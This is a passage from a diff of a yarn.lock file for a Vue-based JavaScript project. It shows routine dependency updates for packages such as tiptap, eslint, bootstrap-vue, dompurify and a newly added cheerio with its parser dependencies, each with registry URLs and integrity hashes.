+ resolved "https://registry.yarnpkg.com/@tiptap/extension-strike/-/extension-strike-2.0.0-beta.15.tgz#c274ae85b1067f80d45a1cb30d0cad24733c9be7"
+ integrity sha512-8R6L4jVxeGabItZ2a4B8lvcy60yhD95nRkO4ruH4iBQ5qlyGwShRbvuJQQGT/2j2RY7W793nXZ/Uohcd/5gJCw==
-"@tiptap/extension-text@^2.0.0-beta.10":
- version "2.0.0-beta.10"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-text/-/extension-text-2.0.0-beta.10.tgz#50681ba2c8e8a54305a89efb1adb0e68d683e4eb"
- integrity sha512-4AdB5e88FmDbBWe9nTOCpvV5QpY2RoBKMqdSTsJcBhxGCXspomgOjbjYMtMabNkhd5mt76l2l65TyjRKSh5BCQ==
+"@tiptap/extension-text@^2.0.0-beta.12":
+ version "2.0.0-beta.12"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-text/-/extension-text-2.0.0-beta.12.tgz#b857f36dda5e8cedd350f9bad7115e4060f8d9c0"
+ integrity sha512-JEWLYOJKSpmpaI0YTzj30uodpsrSYDGSvy5dT5bYvWovIvLmggKPHl0iKIPDWAM5xfd07CkP2+BFFRblMh96IA==
-"@tiptap/vue-2@^2.0.0-beta.27":
- version "2.0.0-beta.27"
- resolved "https://registry.yarnpkg.com/@tiptap/vue-2/-/vue-2-2.0.0-beta.27.tgz#f9e3242a75957d46f1a4707e4a1bb29ec1d19e46"
- integrity sha512-8SG5EutZL+//Vu967yRZkSFatDXViOhRmlMxJpuK4xPL3/Y9EeqbmrK6NjZh7/nScTtTlg35oAwFZ2Sss818gw==
+"@tiptap/vue-2@^2.0.0-beta.34":
+ version "2.0.0-beta.34"
+ resolved "https://registry.yarnpkg.com/@tiptap/vue-2/-/vue-2-2.0.0-beta.34.tgz#df9309eb812b50a85315c4623ac222db751fc97a"
+ integrity sha512-gt45v1GgTWDh/cVcWHW3Nn80pLi/qQMInn1bv/zVUTGZxay5kstLJ5eD7yQ3SfS9oOS3ubRDkdYdhbUKUYH0hw==
dependencies:
- "@tiptap/extension-bubble-menu" "^2.0.0-beta.15"
- "@tiptap/extension-floating-menu" "^2.0.0-beta.12"
- prosemirror-view "^1.18.4"
+ "@tiptap/extension-bubble-menu" "^2.0.0-beta.20"
+ "@tiptap/extension-floating-menu" "^2.0.0-beta.16"
+ prosemirror-view "^1.18.7"
"@toast-ui/editor@^2.5.2":
version "2.5.2"
@@ -1601,10 +1601,10 @@
resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee"
integrity sha1-7ihweulOEdK4J7y+UnC86n8+ce4=
-"@types/lowlight@^0.0.1":
- version "0.0.1"
- resolved "https://registry.yarnpkg.com/@types/lowlight/-/lowlight-0.0.1.tgz#221bc67a6c517bae71e6f200fa1cad0feaeeb965"
- integrity sha512-yPpbpV1KfpFOZ0ZZbsgwWumraiAKoX7/Ng75Ah//w+ZBt4j0xwrQ2aHSlk2kPzQVK4LiPbNFE1LjC00IL4nl/A==
+"@types/lowlight@^0.0.2":
+ version "0.0.2"
+ resolved "https://registry.yarnpkg.com/@types/lowlight/-/lowlight-0.0.2.tgz#bb517f1486477a8c59dea11be0dfaf96d629d35d"
+ integrity sha512-37DldsUs2l4rXI2YQgVn+NKVEaaUbBIzJg3eYzAXimGrtre8vxqE65wAGqYs9W6IsoOfgj74se/rBc9yoRXOHQ==
"@types/mdast@^3.0.0":
version "3.0.3"
@@ -1728,10 +1728,10 @@
"@types/prosemirror-transform" "*"
"@types/prosemirror-view" "*"
-"@types/prosemirror-transform@*", "@types/prosemirror-transform@^1.1.2":
- version "1.1.2"
- resolved "https://registry.yarnpkg.com/@types/prosemirror-transform/-/prosemirror-transform-1.1.2.tgz#fe883c19a5a9f1882346a294efd09d55c6764c7a"
- integrity sha512-Ozyvs5Dquc49gaFysmC4gNhv6E65r569HSzw4RXdZgIljZ5Y9K4kHFlDvsWBBDH19+1178X9LMmM9J620O6Bug==
+"@types/prosemirror-transform@*", "@types/prosemirror-transform@^1.1.3":
+ version "1.1.3"
+ resolved "https://registry.yarnpkg.com/@types/prosemirror-transform/-/prosemirror-transform-1.1.3.tgz#cf30d275976978d1c0317d0659145426fc49ce6f"
+ integrity sha512-qtnd4jMoBgUAF2Vy2uRCVY4/LN3d069PP9XTIKrfk7mwWPYKonBYv1NsaBGTpK26sOPu0p7eJNZwaiNYmbfIwA==
dependencies:
"@types/prosemirror-model" "*"
@@ -1816,10 +1816,10 @@
source-map "~0.6.1"
vue-template-es2015-compiler "^1.9.0"
-"@vue/test-utils@1.1.2":
- version "1.1.2"
- resolved "https://registry.yarnpkg.com/@vue/test-utils/-/test-utils-1.1.2.tgz#fdb487448dceefeaf3d01d465f7c836a3d666dbc"
- integrity sha512-utbIL7zn9c+SjhybPwh48lpWCiluFCbP1yyRNAy1fQsw/6hiNFioaWy05FoVAFIZXC5WwBf+5r4ypfM1j/nI4A==
+"@vue/test-utils@1.2.0":
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/@vue/test-utils/-/test-utils-1.2.0.tgz#3bc8c17ed549157275f0aec6b95da40887f7297f"
+ integrity sha512-poBTLqeJYNq1TXVhtVfnY8vELUVOFdJY8KZZoUuaAkIqPTWsxonU1M8nMWpZT+xEMrM+49+YcuEqtMHVD9Q9gw==
dependencies:
dom-event-types "^1.0.0"
lodash "^4.17.15"
@@ -2096,10 +2096,10 @@ ajv@^6.1.0, ajv@^6.10.0, ajv@^6.10.2, ajv@^6.12.3, ajv@^6.12.4, ajv@^6.12.5:
json-schema-traverse "^0.4.1"
uri-js "^4.2.2"
-ajv@^7.0.2:
- version "7.0.4"
- resolved "https://registry.yarnpkg.com/ajv/-/ajv-7.0.4.tgz#827e5f5ae32f5e5c1637db61f253a112229b5e2f"
- integrity sha512-xzzzaqgEQfmuhbhAoqjJ8T/1okb6gAzXn/eQRNpAN1AEUoHJTNF9xCDRTtf/s3SKldtZfa+RJeTs+BQq+eZ/sw==
+ajv@^8.0.1:
+ version "8.5.0"
+ resolved "https://registry.yarnpkg.com/ajv/-/ajv-8.5.0.tgz#695528274bcb5afc865446aa275484049a18ae4b"
+ integrity sha512-Y2l399Tt1AguU3BPRP9Fn4eN+Or+StUGWCUpbnFyXSo8NZ9S4uj+AG2pjs5apK+ZMOwYOz1+a+VKvKH7CudXgQ==
dependencies:
fast-deep-equal "^3.1.1"
json-schema-traverse "^1.0.0"
@@ -2741,18 +2741,23 @@ bonjour@^3.5.0:
multicast-dns "^6.0.1"
multicast-dns-service-types "^1.1.0"
-bootstrap-vue@2.17.3:
- version "2.17.3"
- resolved "https://registry.yarnpkg.com/bootstrap-vue/-/bootstrap-vue-2.17.3.tgz#3d78b7b4ff992a8ad69d2ed1c7413fcfdcefaec7"
- integrity sha512-upX5LktvsecbBsLnjwaSQoDCsYfneToOweOaERt+Cc/cT6P44zODzpxZa54HZEAbE5gSE5mJmDacUrs02qAR8g==
+boolbase@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/boolbase/-/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e"
+ integrity sha1-aN/1++YMUes3cl6p4+0xDcwed24=
+
+bootstrap-vue@2.18.1:
+ version "2.18.1"
+ resolved "https://registry.yarnpkg.com/bootstrap-vue/-/bootstrap-vue-2.18.1.tgz#4378d26b713d4255b45b42b3f852f6fa0a11d400"
+ integrity sha512-oYKAhEnNuCxtF4gxsdLzijhQpFk7UYPvzhwZvUbnPbZ1eWu2dsc3+fRkY9PMowt5OJRtuVb7ov3lpsI2fraYsA==
dependencies:
- "@nuxt/opencollective" "^0.3.0"
- bootstrap ">=4.5.2 <5.0.0"
+ "@nuxt/opencollective" "^0.3.2"
+ bootstrap ">=4.5.3 <5.0.0"
popper.js "^1.16.1"
portal-vue "^2.1.7"
vue-functional-data-merge "^3.1.0"
-bootstrap@4.5.3, "bootstrap@>=4.5.2 <5.0.0":
+bootstrap@4.5.3, "bootstrap@>=4.5.3 <5.0.0":
version "4.5.3"
resolved "https://registry.yarnpkg.com/bootstrap/-/bootstrap-4.5.3.tgz#c6a72b355aaf323920be800246a6e4ef30997fe6"
integrity sha512-o9ppKQioXGqhw8Z7mah6KdTYpNQY//tipnkxppWhPbiSWdD+1raYsnhwEZjkTHYbGee4cVQ0Rx65EhOY/HNLcQ==
@@ -3140,6 +3145,30 @@ charenc@~0.0.1:
resolved "https://registry.yarnpkg.com/charenc/-/charenc-0.0.2.tgz#c0a1d2f3a7092e03774bfa83f14c0fc5790a8667"
integrity sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=
+cheerio-select@^1.4.0:
+ version "1.4.0"
+ resolved "https://registry.yarnpkg.com/cheerio-select/-/cheerio-select-1.4.0.tgz#3a16f21e37a2ef0f211d6d1aa4eff054bb22cdc9"
+ integrity sha512-sobR3Yqz27L553Qa7cK6rtJlMDbiKPdNywtR95Sj/YgfpLfy0u6CGJuaBKe5YE/vTc23SCRKxWSdlon/w6I/Ew==
+ dependencies:
+ css-select "^4.1.2"
+ css-what "^5.0.0"
+ domelementtype "^2.2.0"
+ domhandler "^4.2.0"
+ domutils "^2.6.0"
+
+cheerio@^1.0.0-rc.9:
+ version "1.0.0-rc.9"
+ resolved "https://registry.yarnpkg.com/cheerio/-/cheerio-1.0.0-rc.9.tgz#a3ae6b7ce7af80675302ff836f628e7cb786a67f"
+ integrity sha512-QF6XVdrLONO6DXRF5iaolY+odmhj2CLj+xzNod7INPWMi/x9X4SOylH0S/vaPpX+AUU6t04s34SQNh7DbkuCng==
+ dependencies:
+ cheerio-select "^1.4.0"
+ dom-serializer "^1.3.1"
+ domhandler "^4.2.0"
+ htmlparser2 "^6.1.0"
+ parse5 "^6.0.1"
+ parse5-htmlparser2-tree-adapter "^6.0.1"
+ tslib "^2.2.0"
+
"chokidar@>=3.0.0 <4.0.0", chokidar@^2.1.8, chokidar@^3.0.0, chokidar@^3.2.2, chokidar@^3.4.0, chokidar@^3.4.1:
version "3.4.0"
resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.4.0.tgz#b30611423ce376357c765b9b8f904b9fba3c0be8"
@@ -3342,10 +3371,10 @@ color-name@~1.1.4:
resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
-colorette@^1.2.1:
- version "1.2.1"
- resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.1.tgz#4d0b921325c14faf92633086a536db6e89564b1b"
- integrity sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw==
+colorette@^1.2.1, colorette@^1.2.2:
+ version "1.2.2"
+ resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.2.tgz#cbcc79d5e99caea2dbf10eb3a26fd8b3e6acfa94"
+ integrity sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==
colors@^1.1.0:
version "1.3.3"
@@ -3489,10 +3518,10 @@ connect@^3.6.0:
parseurl "~1.3.2"
utils-merge "1.0.1"
-consola@^2.10.1:
- version "2.10.1"
- resolved "https://registry.yarnpkg.com/consola/-/consola-2.10.1.tgz#4693edba714677c878d520e4c7e4f69306b4b927"
- integrity sha512-4sxpH6SGFYLADfUip4vuY65f/gEogrzJoniVhNUYkJHtng0l8ZjnDCqxxrSVRHOHwKxsy8Vm5ONZh1wOR3/l/w==
+consola@^2.15.0:
+ version "2.15.3"
+ resolved "https://registry.yarnpkg.com/consola/-/consola-2.15.3.tgz#2e11f98d6a4be71ff72e0bdf07bd23e12cb61550"
+ integrity sha512-9vAdYbHj6x2fLKC4+oPH0kFzY/orMZyG2Aj+kNylHxKGJ/Ed4dpNyAQYwJOdqO4zdM7XpVHmyejQDcQHrnuXbw==
console-browserify@^1.1.0:
version "1.1.0"
@@ -3606,10 +3635,10 @@ core-js-pure@^3.0.0:
resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.6.5.tgz#c79e75f5e38dbc85a662d91eea52b8256d53b813"
integrity sha512-lacdXOimsiD0QyNf9BC/mxivNJ/ybBGJXQFKzRekp1WTHoVUWsUHEn+2T8GJAzzIhyOuXA+gOxCVN3l+5PLPUA==
-core-js@^3.1.3, core-js@^3.12.1:
- version "3.12.1"
- resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.12.1.tgz#6b5af4ff55616c08a44d386f1f510917ff204112"
- integrity sha512-Ne9DKPHTObRuB09Dru5AjwKjY4cJHVGu+y5f7coGn1E9Grkc3p2iBwE9AI/nJzsE29mQF7oq+mhYYRqOMFN1Bw==
+core-js@^3.1.3, core-js@^3.13.0:
+ version "3.13.0"
+ resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.13.0.tgz#58ca436bf01d6903aee3d364089868d0d89fe58d"
+ integrity sha512-iWDbiyha1M5vFwPFmQnvRv+tJzGbFAm6XimJUT0NgHYW3xZEs1SkCAcasWSVFxpI2Xb/V1DDJckq3v90+bQnog==
core-js@~2.3.0:
version "2.3.0"
@@ -3748,6 +3777,17 @@ css-loader@^2.1.1:
postcss-value-parser "^3.3.0"
schema-utils "^1.0.0"
+css-select@^4.1.2:
+ version "4.1.2"
+ resolved "https://registry.yarnpkg.com/css-select/-/css-select-4.1.2.tgz#8b52b6714ed3a80d8221ec971c543f3b12653286"
+ integrity sha512-nu5ye2Hg/4ISq4XqdLY2bEatAcLIdt3OYGFc9Tm9n7VSlFBcfRv0gBNksHRgSdUDQGtN3XrZ94ztW+NfzkFSUw==
+ dependencies:
+ boolbase "^1.0.0"
+ css-what "^5.0.0"
+ domhandler "^4.2.0"
+ domutils "^2.6.0"
+ nth-check "^2.0.0"
+
css-selector-parser@^1.3:
version "1.3.0"
resolved "https://registry.yarnpkg.com/css-selector-parser/-/css-selector-parser-1.3.0.tgz#5f1ad43e2d8eefbfdc304fcd39a521664943e3eb"
@@ -3767,6 +3807,11 @@ css-values@^0.1.0:
ends-with "^0.2.0"
postcss-value-parser "^3.3.0"
+css-what@^5.0.0:
+ version "5.0.0"
+ resolved "https://registry.yarnpkg.com/css-what/-/css-what-5.0.0.tgz#f0bf4f8bac07582722346ab243f6a35b512cfc47"
+ integrity sha512-qxyKHQvgKwzwDWC/rGbT821eJalfupxYW2qbSJSAtdSTimsr/MlaGONoNLllaUPZWf8QnbcKM/kPVYUQuEKAFA==
+
css@^2.1.0:
version "2.2.4"
resolved "https://registry.yarnpkg.com/css/-/css-2.2.4.tgz#c646755c73971f2bba6a601e2cf2fd71b1298929"
@@ -3969,7 +4014,7 @@ d3-scale-chromatic@1:
d3-color "1"
d3-interpolate "1"
-d3-scale@2, d3-scale@^2.2.2:
+d3-scale@2:
version "2.2.2"
resolved "https://registry.yarnpkg.com/d3-scale/-/d3-scale-2.2.2.tgz#4e880e0b2745acaaddd3ede26a9e908a9e17b81f"
integrity sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==
@@ -4119,10 +4164,10 @@ date-now@^0.1.4:
resolved "https://registry.yarnpkg.com/date-now/-/date-now-0.1.4.tgz#eaf439fd4d4848ad74e5cc7dbef200672b9e345b"
integrity sha1-6vQ5/U1ISK105cx9vvIAZyueNFs=
-dateformat@^3.0.3:
- version "3.0.3"
- resolved "https://registry.yarnpkg.com/dateformat/-/dateformat-3.0.3.tgz#a6e37499a4d9a9cf85ef5872044d62901c9889ae"
- integrity sha512-jyCETtSl3VMZMWeRo7iY1FL19ges1t55hMo5yaam4Jrsm5EPL89UQkoQRyiI+Yf4k8r2ZpdngkV8hr1lIdjb3Q==
+dateformat@^4.5.1:
+ version "4.5.1"
+ resolved "https://registry.yarnpkg.com/dateformat/-/dateformat-4.5.1.tgz#c20e7a9ca77d147906b6dc2261a8be0a5bd2173c"
+ integrity sha512-OD0TZ+B7yP7ZgpJf5K2DIbj3FZvFvxgFUuaqA/V5zTjAtAAXZ1E8bktHxmAGs4x5b7PflqA9LeQ84Og7wYtF7Q==
de-indent@^1.0.2:
version "1.0.2"
@@ -4393,13 +4438,6 @@ doctrine@^3.0.0:
dependencies:
esutils "^2.0.2"
-document-register-element@1.14.3:
- version "1.14.3"
- resolved "https://registry.yarnpkg.com/document-register-element/-/document-register-element-1.14.3.tgz#3335d4578df6a1536a34595b91cca36dd5db61d7"
- integrity sha512-SbJTzoQXLTcYxnpdDNRZXu/gwsGSShemXpvj6Pa6ujRwJFpJ41siil4tk4y+cQXnqylS6mc2Rtxp/PkMzfkqyQ==
- dependencies:
- lightercollective "^0.3.0"
-
dom-accessibility-api@^0.5.1:
version "0.5.3"
resolved "https://registry.yarnpkg.com/dom-accessibility-api/-/dom-accessibility-api-0.5.3.tgz#0ea493c924d4070dfbf531c4aaca3d7a2c601aab"
@@ -4428,6 +4466,15 @@ dom-serializer@0:
domelementtype "^2.0.1"
entities "^2.0.0"
+dom-serializer@^1.0.1, dom-serializer@^1.3.1:
+ version "1.3.1"
+ resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-1.3.1.tgz#d845a1565d7c041a95e5dab62184ab41e3a519be"
+ integrity sha512-Pv2ZluG5ife96udGgEDovOOOA5UELkltfJpnIExPrAk1LTvecolUGn6lIaoLh86d83GiB86CjzciMd9BuRB71Q==
+ dependencies:
+ domelementtype "^2.0.1"
+ domhandler "^4.0.0"
+ entities "^2.0.0"
+
dom-walk@^0.1.0:
version "0.1.2"
resolved "https://registry.yarnpkg.com/dom-walk/-/dom-walk-0.1.2.tgz#0c548bef048f4d1f2a97249002236060daa3fd84"
@@ -4443,10 +4490,10 @@ domelementtype@1, domelementtype@^1.3.1:
resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f"
integrity sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==
-domelementtype@^2.0.1:
- version "2.1.0"
- resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.1.0.tgz#a851c080a6d1c3d94344aed151d99f669edf585e"
- integrity sha512-LsTgx/L5VpD+Q8lmsXSHW2WpA+eBlZ9HPf3erD1IoPF00/3JKHZ3BknUVA2QGDNu69ZNmyFmCWBSO45XjYKC5w==
+domelementtype@^2.0.1, domelementtype@^2.2.0:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.2.0.tgz#9a0b6c2782ed6a1c7323d42267183df9bd8b1d57"
+ integrity sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==
domexception@^2.0.1:
version "2.0.1"
@@ -4462,10 +4509,17 @@ domhandler@^2.3.0:
dependencies:
domelementtype "1"
-dompurify@^2.2.8:
- version "2.2.8"
- resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.2.8.tgz#ce88e395f6d00b6dc53f80d6b2a6fdf5446873c6"
- integrity sha512-9H0UL59EkDLgY3dUFjLV6IEUaHm5qp3mxSqWw7Yyx4Zhk2Jn2cmLe+CNPP3xy13zl8Bqg+0NehQzkdMoVhGRww==
+domhandler@^4.0.0, domhandler@^4.2.0:
+ version "4.2.0"
+ resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-4.2.0.tgz#f9768a5f034be60a89a27c2e4d0f74eba0d8b059"
+ integrity sha512-zk7sgt970kzPks2Bf+dwT/PLzghLnsivb9CcxkvR8Mzr66Olr0Ofd8neSbglHJHaHa2MadfoSdNlKYAaafmWfA==
+ dependencies:
+ domelementtype "^2.2.0"
+
+dompurify@^2.2.9:
+ version "2.2.9"
+ resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.2.9.tgz#4b42e244238032d9286a0d2c87b51313581d9624"
+ integrity sha512-+9MqacuigMIZ+1+EwoEltogyWGFTJZWU3258Rupxs+2CGs4H914G9er6pZbsme/bvb5L67o2rade9n21e4RW/w==
domutils@^1.5.1:
version "1.7.0"
@@ -4475,6 +4529,15 @@ domutils@^1.5.1:
dom-serializer "0"
domelementtype "1"
+domutils@^2.5.2, domutils@^2.6.0:
+ version "2.6.0"
+ resolved "https://registry.yarnpkg.com/domutils/-/domutils-2.6.0.tgz#2e15c04185d43fb16ae7057cb76433c6edb938b7"
+ integrity sha512-y0BezHuy4MDYxh6OvolXYsH+1EMGmFbwv5FKW7ovwMG6zTPWqNPq3WF9ayZssFq+UlKdffGLbOEaghNdaOm1WA==
+ dependencies:
+ dom-serializer "^1.0.1"
+ domelementtype "^2.2.0"
+ domhandler "^4.2.0"
+
dot-prop@^5.2.0:
version "5.2.0"
resolved "https://registry.yarnpkg.com/dot-prop/-/dot-prop-5.2.0.tgz#c34ecc29556dc45f1f4c22697b6f4904e0cc4fcb"
@@ -4774,6 +4837,11 @@ escape-string-regexp@^2.0.0:
resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344"
integrity sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==
+escape-string-regexp@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
+ integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
+
escodegen@^1.14.1:
version "1.14.3"
resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-1.14.3.tgz#4e7b81fba61581dc97582ed78cab7f0e8d63f503"
@@ -4949,28 +5017,30 @@ eslint-visitor-keys@^2.0.0:
resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-2.0.0.tgz#21fdc8fbcd9c795cc0321f0563702095751511a8"
integrity sha512-QudtT6av5WXels9WjIM7qz1XD1cWGvX4gGXvp/zBn9nXG02D0utdU3Em2m/QjTnrsk6bBjmCygl3rmj118msQQ==
-eslint@7.26.0:
- version "7.26.0"
- resolved "https://registry.yarnpkg.com/eslint/-/eslint-7.26.0.tgz#d416fdcdcb3236cd8f282065312813f8c13982f6"
- integrity sha512-4R1ieRf52/izcZE7AlLy56uIHHDLT74Yzz2Iv2l6kDaYvEu9x+wMB5dZArVL8SYGXSYV2YAg70FcW5Y5nGGNIg==
+eslint@7.28.0:
+ version "7.28.0"
+ resolved "https://registry.yarnpkg.com/eslint/-/eslint-7.28.0.tgz#435aa17a0b82c13bb2be9d51408b617e49c1e820"
+ integrity sha512-UMfH0VSjP0G4p3EWirscJEQ/cHqnT/iuH6oNZOB94nBjWbMnhGEPxsZm1eyIW0C/9jLI0Fow4W5DXLjEI7mn1g==
dependencies:
"@babel/code-frame" "7.12.11"
- "@eslint/eslintrc" "^0.4.1"
+ "@eslint/eslintrc" "^0.4.2"
ajv "^6.10.0"
chalk "^4.0.0"
cross-spawn "^7.0.2"
debug "^4.0.1"
doctrine "^3.0.0"
enquirer "^2.3.5"
+ escape-string-regexp "^4.0.0"
eslint-scope "^5.1.1"
eslint-utils "^2.1.0"
eslint-visitor-keys "^2.0.0"
espree "^7.3.1"
esquery "^1.4.0"
esutils "^2.0.2"
+ fast-deep-equal "^3.1.3"
file-entry-cache "^6.0.1"
functional-red-black-tree "^1.0.1"
- glob-parent "^5.0.0"
+ glob-parent "^5.1.2"
globals "^13.6.0"
ignore "^4.0.6"
import-fresh "^3.0.0"
@@ -4979,7 +5049,7 @@ eslint@7.26.0:
js-yaml "^3.13.1"
json-stable-stringify-without-jsonify "^1.0.1"
levn "^0.4.1"
- lodash "^4.17.21"
+ lodash.merge "^4.6.2"
minimatch "^3.0.4"
natural-compare "^1.4.0"
optionator "^0.9.1"
@@ -4988,7 +5058,7 @@ eslint@7.26.0:
semver "^7.2.1"
strip-ansi "^6.0.0"
strip-json-comments "^3.1.0"
- table "^6.0.4"
+ table "^6.0.9"
text-table "^0.2.0"
v8-compile-cache "^2.0.3"
@@ -5253,7 +5323,7 @@ fake-xml-http-request@^2.1.1:
resolved "https://registry.yarnpkg.com/fake-xml-http-request/-/fake-xml-http-request-2.1.1.tgz#279fdac235840d7a4dff77d98ec44bce9fc690a6"
integrity sha512-Kn2WYYS6cDBS5jq/voOfSGCA0TafOYAUPbEp8mUVpD/DVV5bQIDjlq+MLLvNUokkbTpjBVlLDaM5PnX+PwZMlw==
-fast-deep-equal@^3.1.1:
+fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
version "3.1.3"
resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
@@ -5655,7 +5725,7 @@ gettext-extractor@^3.5.3:
pofile "1.0.x"
typescript "2 - 4"
-glob-parent@^5.0.0, glob-parent@^5.1.0, glob-parent@^5.1.1, glob-parent@~5.1.0:
+glob-parent@^5.1.0, glob-parent@^5.1.1, glob-parent@^5.1.2, glob-parent@~5.1.0:
version "5.1.2"
resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
@@ -5667,10 +5737,10 @@ glob-to-regexp@^0.4.0:
resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e"
integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==
-"glob@5 - 7", glob@^7.0.3, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6, glob@~7.1.6:
- version "7.1.6"
- resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.6.tgz#141f33b81a7c2492e125594307480c46679278a6"
- integrity sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==
+"glob@5 - 7", glob@^7.0.0, glob@^7.0.3, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6, glob@~7.1.6:
+ version "7.1.7"
+ resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90"
+ integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==
dependencies:
fs.realpath "^1.0.0"
inflight "^1.0.4"
@@ -5735,17 +5805,10 @@ globals@^11.1.0:
resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
-globals@^12.1.0:
- version "12.3.0"
- resolved "https://registry.yarnpkg.com/globals/-/globals-12.3.0.tgz#1e564ee5c4dded2ab098b0f88f24702a3c56be13"
- integrity sha512-wAfjdLgFsPZsklLJvOBUBmzYE8/CwhEqSBEMRXA3qxIiNtyqvjYurAtIfDh6chlEPUfmTY3MnZh5Hfh4q0UlIw==
- dependencies:
- type-fest "^0.8.1"
-
-globals@^13.6.0:
- version "13.8.0"
- resolved "https://registry.yarnpkg.com/globals/-/globals-13.8.0.tgz#3e20f504810ce87a8d72e55aecf8435b50f4c1b3"
- integrity sha512-rHtdA6+PDBIjeEvA91rpqzEvk/k3/i7EeNQiryiWuJH0Hw9cpyJMAt2jtbAwUaRdhD+573X4vWw6IcjKPasi9Q==
+globals@^13.6.0, globals@^13.9.0:
+ version "13.9.0"
+ resolved "https://registry.yarnpkg.com/globals/-/globals-13.9.0.tgz#4bf2bf635b334a173fb1daf7c5e6b218ecdc06cb"
+ integrity sha512-74/FduwI/JaIrr1H8e71UbDE+5x7pIPs1C2rrwC52SszOo043CsWOZEMW7o2Y58xwm9b+0RBKDxY5n2sUpEFxA==
dependencies:
type-fest "^0.20.2"
@@ -6069,6 +6132,16 @@ htmlparser2@^3.10.0:
inherits "^2.0.1"
readable-stream "^3.1.1"
+htmlparser2@^6.1.0:
+ version "6.1.0"
+ resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-6.1.0.tgz#c4d762b6c3371a05dbe65e94ae43a9f845fb8fb7"
